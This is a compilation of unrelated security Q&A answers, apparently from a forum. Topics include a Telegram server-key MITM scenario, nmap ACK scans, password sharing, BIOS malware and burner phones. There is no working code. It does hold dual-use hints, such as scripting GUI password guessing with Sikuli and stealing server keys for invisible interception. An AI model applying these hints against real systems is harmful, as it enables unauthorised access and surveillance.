The requirement list of the Automated Implant Branch (AIB) for Grasshopper puts special attention on PSP avoidance, so that any Personal Security Products like 'MS Security Essentials', 'Rising', 'Symantec Endpoint' or 'Kaspersky IS' on target machines do not detect Grasshopper elements.

So it's very likely a nation state actor who hacks Telegram servers won't be detected. It is also the case the payload is a form of rootkit which "often masks its existence or the existence of other software.". Thus, the rootkit will change the system so that nobody, not even a root user can detect its presence.
But isn't such attack loud form the perspective of amount of material that needs exfiltration, and detectable from other systems in the server infrastructure?
It is entirely possible. But dumping the database isn't the only way to access client-server encrypted cloud messages. If instead of database encryption key, the attacker compromises the private key that the server uses for the MTProto client-server encryption (either persistent Diffie-Helmman private value, or a RSA signing key), the attacker can perform completely invisible MITM attacks against the client-server protocol. This only requires lifting extremely small amount of data from the server, can be done in milliseconds, and it still allows mass-attack against Telegram users from the backbone of the internet. There is no way for client to detect this attack, and no way for server to detect incoming connections do not come from the phone but from the MITM attacker.
Can the problem be fixed?
Yes. End-to-end encryption exists to eliminate this problem entirely. Telegram also supports end-to-end encrypted 1:1 chats on mobile so the developers clearly recognize the benefits, but alas end-to-end encryption is

not enabled by default
no available for group chats
no available for Windows/Linux desktop clients

There is a lot of misinformation going about that says that these are not doable, but there are counter-examples such as Signal and Wire.
Telegram staff have argued for why they do not make every chat E2EE, which I have refuted here.


Assuming that you've used one of the standard scan types initially (e.g. SYN or TCP scan) and you're getting back no open ports, I'd say that either the system has no open ports (the most likely real-world scenario) or there's some specific point your course is trying to teach (should be mentioned in the course materials) that would require a specific scan type to bypass some protection on the host.  If it's the later I'd try the various types of scan that nmap makes available and see which, if any, produce anomolous results.
The nmap documentation for the ACK scan type is relatively clear

This scan is different than the others discussed so far in that it
never determines open (or even open|filtered) ports. It is used to map
out firewall rulesets, determining whether they are stateful or not
and which ports are filtered. The ACK scan probe packet has only the
ACK flag set (unless you use --scanflags). When scanning unfiltered
systems, open and closed ports will both return a RST packet. Nmap
then labels them as unfiltered, meaning that they are reachable by the
ACK packet, but whether they are open or closed is undetermined. Ports
that don't respond, or send certain ICMP error messages back (type 3,
code 0, 1, 2, 3, 9, 10, or 13), are labeled filtered.

The ACK scan is just used to probe for weakesses in firewalls.  In real world tests you're not that likely to hit a non-stateful firewall, but again if this is a course, it's possible that that's a point their trying to teach.


An authoritative source for why you should NEVER give your password to anyone?

In a corporate environment, there are a few places you can look. Company Acceptable Use Policies generally will have a clause saying not to share accounts or disclose passwords. If your company is subject to certain regulations (PCI-DSS, SOC2, HIPAA, etc.) they will have similar requirements.

Because you want to communicate with your boss, there is a non-technical route you can take.

Those regulations and policies are based on the same general principle: liability. This is a legal concept that has to do with the idea that once you share that access (that is what you are giving them) then they are now liable for that access. In this case, you are sharing liability. What happens if the IT guy uses your account to do something illegal? Because it is your name on the account, you are primarily liable for that activity, but if it is a "shared" account, that liability is shared with those who have access to that account (the IT guy or the rest of the company). If it cannot be known who did something, then there are much fewer options to try and correct or remediate problems.

So, you can tell your boss that you simply do not want to share liability with the entire IT staff. Accounts are intended to be personal so that proper attribution can be made, and that lowers the risk for the company.


Fishy: VMware sends traffic through akamai

It would entirely depend on your setup. For instance if you are using a bridged connection then your firewall will be ignored

For the other part, without a tcp dump of the connection, we can't answer this question. Akamai is a content delivery network, they are often used to offload static content to anothe server as to increase performance.


Why do people use "burner phones" rather than Signal or similar solutions?

People do use Signal, and even less secure systems like Whatsapp, to do the kind of communication that has traditionally relied on burner phones.

Let's dispense with the spy fantasies first, though: the majority of people who use or have used burner phones are not spies or high value targets,. As you can guess, not all criminals are technically-minded enough to use a software solution, and a low-tech burner phone is easier for many of them.

Nonetheless, encrypted messengers are getting increasingly more popular both in the scam business and in the retail drug business. Evidence to the former can be seen in many scam questions on Finance, to the latter in drug tags on the street with messenger names instead of phone numbers.

Both methods alone or even together leave a lot to be desired for perfection. Encryption can be broken with rubber hose methods and anonymity can be defeated by circumstantial evidence. In real life, perfection is not needed. Either the reduced detectability provided by encrypted messengers or the evidence loss/deniability provided by burners suffice to reduce the incarceration rate for their users.


Is it possible for malware to be in the BIOS or in hardware?

Yes, the BIOS is software. If it is writeable/flashable, it is possible for the BIOS to be overwritten or modified such that it performs malicious actions. The BIOS boots before the operating system and bootloader, so it is entirely possible for BIOS malware to impact and infect on each boot or on fresh installs.

This is not a windows specific problem. The BIOS provides the lowest level hardware interaction/abstraction and the OS will depend upon this code, so it may be possible to write generic or OS specific malware.

You may be interested in this paper and this presentation.

The MITRE Copernicus tool can be used to do checks for malware in BIOS.


Assuming the software doesn't have a power-up limited number of tries, you could script the GUI interactions with sikuli.

http://www.sikuli.org/

Don't expect hundreds of tries per second.  I would expect less than 10 tries per second... but that could very well be enough.


My understanding is that they are rated on the prevalence of that specific risk in the wild.

This is explained in the introduction to OWASP top 10 here

  Welcome to the OWASP Top 10...reorders some of the others based on
  changing prevalence data.

So A1 is more common in the wild than A2 and so on.


At least in some cases, they're just props. A law professor once gave a talk about not talking to cops and devoted the second half of his time to a cop. In the video, the cop told a story about when he was interrogating a suspect. He told the suspect that he'd turn off the tape recorder (which he did) and things would be "off the record". He also said that it didn't matter -- the actual recording that would be used was hard-wired into the room.

Much like with police cars and surveillance systems where everything is basically digital, I strongly presume that in most places recordings are being kept digitally. Tape recorders provide visual cues for Hollywood that are better than modern digital technology, and they do the same for officers. For actual recordings or covert surveillance that you mentioned, I don't think tape is really out there anymore for audio recording and storage.